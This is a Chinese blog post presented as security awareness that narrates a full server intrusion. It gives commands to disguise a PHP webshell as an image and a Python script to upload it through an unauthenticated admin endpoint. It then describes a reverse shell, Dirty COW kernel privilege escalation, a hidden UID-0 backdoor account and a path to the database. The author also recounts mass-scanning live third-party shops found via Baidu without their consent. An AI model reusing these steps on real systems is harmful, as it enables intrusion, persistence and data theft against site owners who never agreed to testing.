黑客?1小时内入侵100台服务器,百度成为帮凶?!

最近有一位朋友搭建了一个商城,想让我帮他测试一下,于是有了这篇文章。
公众号中发送:AI小子,将获得一个AI学习大礼包的推送。

背景说明

“前几天,一个朋友通过QQ找到我,他说是通过一个百度云的搜索软件搜到了我分享的“漏洞扫描软件”,顺着软件上面的QQ找到我的,想让我帮忙测试下他的商城。本来是拒绝的,但是想到别人都专门找到我,还是帮他测试下吧,顺便加个餐(为了不给该用户带来麻烦,接下来在文章中出现的网址我都会进行打码)”

通过阅读这篇文章你会了解到入侵的整个流程:如何利用网站的漏洞,一步步拿下服务器权限,修改服务器密码,盗取数据库...

关于标题

  • 服务器是什么?
  • 服务有什么用?
  • “黑客”入侵了服务器会做什么?
什么是服务器?

服务器,通俗来说就是一台放在机房里面的电脑。和我们普通的电脑区别在于服务器拥有固定IP,以及防火墙,恒温恒湿等。

服务器和U盘的作用差不多,都是用来存储文件的,只是服务器存储的是你做好的网站文件但并不限于网站,也包括图片,文字,视频,数据库,网站程序等。

服务器有什么用?

服务器作用比较广,网络游戏、网站、部分软件都是需要存到服务器的,还有一些企业会配服务器,他们平时工作上的重要资料都是存在服务器的硬盘中的。

“黑客”入侵了服务器会做什么?
  • 入侵了一个装了小区门禁系统的服务器,那么他可以随意控制小区大门或者单元门的开关;
  • 入侵了装了监控管理系统的服务器,那么他们就可以随意操作摄像头。
  • 入侵了装有网站程序或数据库的服务器,那么他们就可以盗取网站源代码,修改或者盗取数据库资料
  • ……

到这里,大家应该对服务器被入侵的危害有所了解。如果想了解更多漏洞知识,可以去乌云知识库学习,里面保留了4万多个很有价值的漏洞,那都白帽们的心血。地址:http://www.anquan.us/

有什么问题,可以私信小子。

网络无小事,事事需谨慎!

关于安全方面的问题,国内某知名搜索引擎中搜到的千篇一律的解答。

某度搜到的结果

这些资料基本都是告诉大家如何去排查,如何去防护,治标不治本。你不知道坏人的使坏手段,你不了解坏人的使坏过程,你被坏人欺负后永远都是一个心态:慌!

图片来源于网络

故事开始

接下来,我会站在一名“攻击者”的角度,使用第一人称,通过一个故事来讲述本次的整个测试流程。

大家好,我是故事的主人公:小黑。我接到一个安全测试的单子,对方希望我帮忙测试网站的安全性。目前就我所了解到的该网站所有情况如下:

  • 一个商城
  • php编写
  • 开源软件
  • 网址

没了。。。

找开源web软件漏洞

先在网站上找一下有没有该软件的公开漏洞,如果没有找到,可以自己将软件下载下来进行测试,仔细筛选逻辑或者编码上有问题的地方。

很幸运的是,我在一个安全论坛发现了这套软件前段时间被曝出一个图片上传漏洞:漏洞的成因:1.后台图片上传接口处未做权限验证;2.未对上传的图片后缀名进行校验是否为jpg、jpeg、png、gif。漏洞的后果:1.任何用户可以通过接口上传图片;2.伪装为图片的脚本文件在上传后会被解析。解决办法:1.做权限验证;2.对上传的图片文件做后缀名校验;3.也可以将上传的文件存储到OSS上。

这么快就找到了突破点,真是一个好的开始,哈哈。

制作图片马

既然是一个图片上传漏洞,那么接下来,我需要伪装一个图片马对客户网站进行上传测试。

警告:为了不给被测试网站带来影响,文中所用木马文件均为空文件。

Windows系统:

copy tp.jpg/b+yjh.php  tpyjh.jpg
/**
 * tp.jpg:普通图片 
 * yjh.php:一句话木马
 * tpyjh.php:生成的伪装为图片的一句话木马
 */

Linux系统:

cat tp.jpg/b yjh.php > tpyjh.jpg
/**
 * tp.jpg:普通图片 
 * yjh.php:一句话木马
 * tpyjh.php:生成的伪装为图片的一句话木马
 */

编写上传脚本,测试漏洞

#!/usr/bin/python
# -*- coding: utf-8 -*-
# test_upload.py

import requests
import random

url_base = [待测试网站的根域名]

def requests_post(url, data, files):
    temp = None
    headers = get_header()
    try:
        temp = requests.post(url, data=data, files=files, headers=headers, timeout=5)
    except ValueError, e:
        return False
    return temp

def get_header():
    user_agent_list = [
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95',
        'Safari/537.36 OPR/26.0.1656.60',
        'Opera/8.0 (Windows NT 5.1; U; en)',
        'Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0',
        'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 '
        '(maverick) Firefox/3.6.10',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
        'Chrome/39.0.2171.71 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 '
        '(KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
    ]
    UserAgent = random.choice(user_agent_list)
    header = {'User-Agent': UserAgent}
    return header


if __name__ == '__main__':
    data = {
        "file_path": "upload/common/"
    }
    files = {
        "file_upload": ("tpyjh.php", open("tpyjh.php", "rb"), "image/png")
    }
    url =  url_base + 'index.php?s=/admin/upload/uploadfile'
    res = requests_post(url, data, files)
    print res.status_code
    print res.text.decode('unicode_escape')

上传测试:

上传成功,并返回木马路径:upload/common/1565530537.php

菜刀连接测试,getshell!

提示:如果想防止有人通过上传漏洞,恶意上传木马文件,请务必关闭上传目录的写入和执行权限!

通过上面的操作,我发现此上传目录的执行权限未关闭,那么写入权限应该八九不离十没有做太多限制,于是在网上随便找了个权限比较高的大马传了上去。之所以传大马,是因为通常来说小马的可操作权限比较小,容易被查杀。如果上传一个隐秘性比较高(添加修饰符,进行混淆拆分等手段就可以躲过特征码的查杀),权限比较大的马,就能长期隐藏于服务器中,方便提权。

提示:在服务器上查杀木马,光凭借关键字或者特征码只能查杀很笨的木马,如果攻击者做了免杀,是很难被发现的。

上传免杀大马

上传大马传到服务器:


大马入口


大马管理界面

注意:关于大马,请不要随意使用,网上公布的10个大马就有10个是有后门的!这就是人们所说的黑吃黑!你如果用网上下载的大马测试自己的服务器,可能会因此被大马的发布者利用,从而造成无法挽回的损失!

反弹SHELL

由于大马的很多权限不足+网页操作的不方便性,此时需要进行反弹 Shell,以方便通过命令行的方式操作目标主机。

进行反弹操作,一台外网的机子是必须的,就算不是外网,能映射也行。如果是外网服务器,就更简单了。由于小黑自己手中有一些闲置的测试服务器,所以为了方便,就直接通过服务器来反弹连接。

监听端口:

执行反弹命令,执行方式有很多种,不同的目标主机,支持的执行方式不同,经过测试后我选用了NC反弹:开始反弹~

反弹连接成功!

很多人可能觉得到了这一步,好像已经是 Root 权限了,好像已经掌控了整个目标主机了。然而,并没那么简单。先看看我当前是哪个用户:

其实不用看就能猜到是 Nginx 或者 Apache,因为我们是通过 Web 连接进来的,而且是 php 写的程序。不信?看看我们当前连接进来是在哪个目录:

初始位置是在大马处,这个到是没有问题。但是在操作的过程中,我发现,无论我怎么切换路径好像都是在当前目录,这个太不方便了吧!

于是我更换了马儿,通过 Python 反弹 Shell。

连接成功!并测试了一下命令行。

OK~好像正常了。

查看系统信息

先查看 shadow 文件和 passwd 文件。

提示:小黑有个习惯,如果能够进入目标主机根目录,小黑首先会看一下 shadow 文件和 passwd 的权限,再进行下一步操作(好像权限不足,溜了溜了)。

查看内核版本:

Linux 10-10-34-187 3.10.0-123.4.4.el7.x86_64 #1 SMP Fri Jul 25 05:07:12 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

读取 /proc/version来获取LinuxKernel版本:

Linux version 3.10.0-123.4.4.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.2 20140120 (Red Hat 4.8.2-16) (GCC) ) #1 SMP Fri Jul 25 05:07:12 UTC 2014

检查 CentOS 版本:

EXP提升权限

经过查看,发现linux的内核版本为:Linux 3.10.0-123.4.4.el7.x86_64 CentOS

因此我们需要找到一个支持该本的 Exp。关于 Exp 的介绍:https://blog.csdn.net/zhao199...

经过查找,找到一个内核 Exp,可以使用它提权到 Root 用户。

提示:提权姿势有很多种,这里先尝试内核提权,如果行不通再换别的姿势。

上传 Exp 到目标主机的/tmp/目录中:

检查一下:

编译 Exp:

尴尬~报错了:

gcc: error trying to exec 'cc1': execvp: No such file or directory
# 没有该文件或目录的错误 

输入:whereis gcc
我发现在 /usr/bin/gcc 存在一个 gcc
所以我就试着把PATH路径设过去,命令如下:

export PATH=/usr/bin:$PATH(根据你自己的位置进行重设) 

继续编译:

40616.c: In function 'procselfmemThread':
40616.c:99:9: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [enabled by default]
         lseek(f,map,SEEK_SET);
         ^
In file included from 40616.c:28:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                ^
/tmp/ccacvdug.o: In function `main':
40616.c:(.text+0x39d): undefined reference to `pthread_create'
40616.c:(.text+0x3b8): undefined reference to `pthread_create'
40616.c:(.text+0x3d1): undefined reference to `pthread_create'
40616.c:(.text+0x3e5): undefined reference to `pthread_join'
collect2: error: ld returned 1 exit status

又报错了,打开文件看了一下,发现少了参数pthread。继续编译:

编译过程中出现一些警告,可以直接忽略,只要 ls 验证编译成功即可:

查看我们当前的 id,目前我的 uid 是 997 属于普通用户:

执行 Exp:

Exp 执行完毕,发现当前登陆的用户名变为了 Root。打印一下 id ,此时 uid 为0,转变为了超级用户。也就是说此时我已经拥有整台服务器的控制权限了,可以随心所欲,做任何我想做的事。

作为一名入侵者,为了不给我接下来的操作带来不必要的影响,接下来要做的第一件事就是先给自己创建一个单独的账号,并提升为 Root 权限,方便我的远程登陆。如果不给自己创建单独的账户,我就无法远程直连服务器,每次都要使用反弹 shell 连接服务器,而且每次进来都要重新进行提权操作,这样做太麻烦了,而且容易被发现,从而导致整个提权的成果毁于一旦。所以,既然是提权,就要做的就是尽可能完美。

添加用户

既然已经拿到了root权限,那么我的测试其实也就差不多完成了,接下来的操作我就直接在自己服务器上演示了,避免给对方的带来不必要的麻烦。

通过adduser [用户名] 命令创建一个名为test01 的账户,并设置好初始密码:

vim /etc/passwd 打开 passwd 文件,找到刚刚创建的test01:

修改 test01 的UID(用户ID)为0,0表示超级用户:

test01:x:1002:1002:,,,:/home/test01:/bin/bash
# 修改为:
test01:x:0:1002:,,,:/home/test01:/bin/bash

解释一下/etc/passwd文件:

test01:x:1002:1002:,,,:/home/test01:/bin/bash
# 第 1 字段:用户名称
# 第 2 字段:密码标志
# 第 3 字段:UID(用户ID)(0:超级用户;1~499:系统用户;500~65535:普通用户)
# 第 4 字段:GID(用户初始组ID)
# 第 5 字段:用户说明
# 第 6 字段:家目录(普通用户:/home/用户名;超级用户:/root/)
# 第 7 字段:登陆之后d的shell

# Shell是什么?
# 1. shell就是Linux的命令解释器
# 2. 在/etc/passwd当中,除了标准shell是/bin/bash之外,
# 还可以写,如:/sbin/nologin表示未登录,如果把管理员第7字段改为/sbin/nologin,
# 则表示暂时停用该用户。

既然已经创建了独立账户,并提升为了超级用户,登陆一下,试试能否连接成功:

登陆成功,并且是超级用户,ojbk~

到这一步为止,整个提权的流程已经走完了,最终也拿到了目标服务器的超级管理权。

但是如果提权者提权的目的是带有恶意的带有攻击性的,那么现在才是他们真正开始表演的时候,他们可能会修改数据,盗取数据,破坏服务器等,谁也不太确定他们真正的目的。

举个例子

假如我入侵服务器的真正目的是要修改数据,那么我接下来需要找到数据库的位置。

在入侵测试过程中,我已经知道了对方使用的是 Ngnix 服务器环境。所以,我可以找到 Nginx 的配置文件,先了解下一当前服务器运行了多少个 Web 服务,找出我们需要的那一个,并查出它的根目录:

通过 cat 命令查看了一下两个文件,按大多数情况来说,其中一个一定会配置对应的域名与网站路径。但实际情况是:里面内容一摸一样,都是默认的nginx.conf配置。那么值得注意的是:里面的默认服务器根路径一定有文章。

到/home/wwwroot/default去瞧瞧:

发现了对方的 phpmyadmin,回退了一级,发现了网站的布置位置……接下来我可以在网站程序中拿到数据库的连接地址,数据库名,账号以及密码,从而对数据库进行操作。

接下来修改数据库等一系列操作,我就不演示了,如果是对数据库操作不是太懂的新手可以咨询我。我写了个数据库备份的脚本:


#!/bin/bash
# Name:bakmysql.sh

# backupdir:数据库备份d地址(备份到什么位置)
backupdir=/home/pigbak/mysqldata
# time:时间戳,为了防止备份数据库被覆盖
time=`date +%Y%m%d_%H%M%S `
# 数据库名:lucky
# 数据库账号:root
# 数据库密码:123456

# 假如我们要备份名为 luky 的数据库
mysqldump -uroot -p123456 lucky | gzip > /home/databackup/mysqldata/lucky_$time.sql.gz

到此为止,一个简略,但还算得上比较全的入侵演示到此结束(关于删除日志等一系列操作,我就不演示了,毕竟我主要的目的是为了让大家了解安全风险,而不是教大家怎样躲避追踪),大家应该对攻击者的手段有所了解,知己知彼方可百战不殆。希望大家在某些方面做好对应的防范吧,如果对某个环节的防御不是很懂,可以咨询我。

补充

在帮朋友做完整个入侵测试后,发现一个很有意思的事,用这个开源软件的平台大把人在,而且令人不寒而栗的是:可能他们很多人都中枪了!!!他们的服务器岂不是成为了待宰的羔羊??!!!

为了验证我的想法,我想在百度中找出使用这个开源商城的所有公司(或个人),并找出还未进行漏洞修补的网站。

于是我用国内某知名搜索引擎搜了一下:

某度搜到的结果

差点吓到了我,竟然出现了1, 400, 000 条结果。。。

即使1000个中能有一个中枪,这个数据量也很不简单!

这么庞大的数据量,手动测试,肯定是不靠谱的,于是我根据百度的搜结果,用 Python 写了个自动化脚本,自动过滤掉所有与该开源软件无关的网站,并自动进行漏洞测试,记录。

新建一个 result 文件夹,里面放入三个文件:

  • successful.txt:存放有漏洞的网站地址及漏洞路径
  • fail.txt:存放有漏洞的网站地址,但漏洞暂时未找到
  • scanner.py:漏洞检测脚本

进入到 result 文件夹,运行脚本开始检测:

最终程序检测了13页(每页20条)检测到了8个漏洞还未修复的网站,接着我果断停止了程序,没再继续检测下去,而是陷入了深深地思考……

13页检测结果

仍然存在漏洞的网站:

漏洞已被修复的网站:

照着这个转化率,检测完所有网站,存在漏洞的网站很容易就破 1000 了。但仔细回想:其实任何外表看似很完美的程序其实都是有 bug 存在的,这么多存在漏洞的网站为什么仍然正常运行着?如果放在 6 年前,恐怕很多网站或者服务器已经被那些脚本小子弄的不成样子了。其实这就和我们的生活中遭遇盗贼一样,随着生活水平的提高,不是因为大家防盗技术变好了,而是大家生活水平都提高了,盗贼也没必要去做那些没必要的事情了。现在一个练手的服务器要不了几个钱,根本没必要冒着风险去攻击别人。

光明磊落做人,脚踏实地做事,永远不要违背道德底线!

好啦,今天的安全知识普及到此结束。

补充说明

文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与平台以及原作者无关,特此声明。

如果想跟小子一起探索人工智能的奥秘

请长按下方二维码关注我吧

阅读 355

推荐阅读
溜溜猪的日志
用户专栏

当你遇到挫折时,请不要气馁;不经历风雨,哪能见彩虹。

2 人关注
7 篇文章
专栏主页
目录